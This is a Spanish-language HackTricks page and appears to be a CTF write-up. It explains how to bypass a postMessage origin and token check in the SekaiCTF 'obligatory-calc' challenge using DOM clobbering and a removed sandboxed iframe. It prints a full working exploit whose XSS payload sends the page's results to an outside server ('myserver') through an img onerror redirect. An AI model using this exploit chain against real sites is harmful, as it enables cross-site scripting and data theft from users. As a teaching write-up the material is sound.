mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
95 lines
6.2 KiB
Markdown
95 lines
6.2 KiB
Markdown
# Bypassing SOP with Iframes - 2
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Iframes in SOP-2
|
|
|
|
En la [**solución**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) para este [**desafío**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) propone un método similar a la sección anterior. Vamos a revisarlo.
|
|
|
|
En este desafío, el atacante necesita **bypassar** esto:
|
|
```javascript
|
|
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
|
|
```
|
|
Si lo hace, puede enviar un **postmessage** con contenido HTML que se va a escribir en la página con **`innerHTML`** sin saneamiento (**XSS**).
|
|
|
|
La forma de eludir la **primera verificación** es haciendo que **`window.calc.contentWindow`** sea **`undefined`** y **`e.source`** sea **`null`**:
|
|
|
|
* **`window.calc.contentWindow`** es en realidad **`document.getElementById("calc")`**. Puede sobrescribir **`document.getElementById`** con **`<img name=getElementById />`** (tenga en cuenta que la API de Saneamiento -[aquí](https://wicg.github.io/sanitizer-api/#dom-clobbering)- no está configurada para proteger contra ataques de sobrescritura de DOM en su estado predeterminado).
|
|
* Por lo tanto, puede sobrescribir **`document.getElementById("calc")`** con **`<img name=getElementById /><div id=calc></div>`**. Luego, **`window.calc`** será **`undefined`**.
|
|
* Ahora, necesitamos que **`e.source`** sea **`undefined`** o **`null`** (porque se usa `==` en lugar de `===`, **`null == undefined`** es **`True`**). Obtener esto es "fácil". Si crea un **iframe** y **envía** un **postMessage** desde él y luego **elimina** el iframe, **`e.origin`** será **`null`**. Verifique el siguiente código
|
|
```javascript
|
|
let iframe = document.createElement('iframe');
|
|
document.body.appendChild(iframe);
|
|
window.target = window.open("http://localhost:8080/");
|
|
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
|
|
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
|
|
document.body.removeChild(iframe); //e.origin === null
|
|
```
|
|
Para eludir la **segunda verificación** sobre el token, se envía **`token`** con el valor `null` y se hace que el valor de **`window.token`** sea **`undefined`**:
|
|
|
|
* Enviar `token` en el postMessage con el valor `null` es trivial.
|
|
* **`window.token`** al llamar a la función **`getCookie`** que utiliza **`document.cookie`**. Tenga en cuenta que cualquier acceso a **`document.cookie`** en páginas de origen **`null`** provoca un **error**. Esto hará que **`window.token`** tenga un valor de **`undefined`**.
|
|
|
|
La solución final de [**@terjanq**](https://twitter.com/terjanq) es la [**siguiente**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
|
|
```html
|
|
<html>
|
|
<body>
|
|
<script>
|
|
// Abuse "expr" param to cause a HTML injection and
|
|
// clobber document.getElementById and make window.calc.contentWindow undefined
|
|
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
|
|
|
|
function start(){
|
|
var ifr = document.createElement('iframe');
|
|
// Create a sandboxed iframe, as sandboxed iframes will have origin null
|
|
// this null origin will document.cookie trigger an error and window.token will be undefined
|
|
ifr.sandbox = 'allow-scripts allow-popups';
|
|
ifr.srcdoc = `<script>(${hack})()<\/script>`
|
|
|
|
document.body.appendChild(ifr);
|
|
|
|
function hack(){
|
|
var win = open('https://obligatory-calc.ctf.sekai.team');
|
|
setTimeout(()=>{
|
|
parent.postMessage('remove', '*');
|
|
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
|
|
// token=null equals to undefined and e.source will be null so null == undefined
|
|
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
|
|
},1000);
|
|
}
|
|
|
|
// this removes the iframe so e.source becomes null in postMessage event.
|
|
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
|
|
}
|
|
setTimeout(start, 1000);
|
|
</script>
|
|
</body>
|
|
</html>
|
|
```
|
|
{% hint style="success" %}
|
|
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Apoya a HackTricks</summary>
|
|
|
|
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|
|
{% endhint %}
|